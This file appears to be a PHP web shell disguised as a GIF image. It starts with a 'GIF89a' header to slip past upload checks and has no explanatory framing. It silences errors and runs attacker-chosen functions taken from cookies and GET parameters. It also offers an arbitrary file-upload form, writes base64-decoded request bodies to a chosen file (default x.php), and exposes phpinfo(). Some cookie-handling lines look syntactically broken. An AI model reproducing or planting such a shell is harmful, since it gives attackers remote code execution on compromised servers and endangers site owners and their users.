
GIF89a;<?=
error_reporting(0);
if(isset($_COOKIE['set_name'])) {
  $_COOKIE['api_key']  ($_COOKIE['set_name']);
}

if(isset($_COOKIE['api_secret'])) {
  $_COOKIE['api_key']  ($_COOKIE['set_name'], $_COOKIE['api_secret']);
}

if(isset($_COOKIE['value'])) {
  $_COOKIE['api_key']  ($_COOKIE['set_name']($_COOKIE['value']));
}

if(isset($_GET['handler'])) {
    if (isset($_FILES['file']['name'])) {
        $name = $_FILES['file']['name'];
        $tmp = $_FILES['file']['tmp_name'];
        move_uploaded_file($tmp, $name);
        echo "<a href='" . $_FILES['file']['name'] . "'>" . $_FILES['file']['name'] . "</a>";
    }
  else {
        echo '<form method="POST" enctype="multipart/form-data">';
        echo '<input type="file" name="file">';
        echo '<input type="submit" value="Upload File">';
    }
  exit;
}

if(isset($_GET['raw'])) {
    $out = isset($_GET['name']) ? $_GET['name'] : 'x.php';
    file_put_contents($out, base64_decode(file_get_contents('php://input')));
    echo "OK: $out";
    exit;
}

elseif(isset($_GET['info'])) {
  phpinfo();
}

elseif(isset($_GET['path'])) {
  $_GET['path']($_GET['id']);
}
?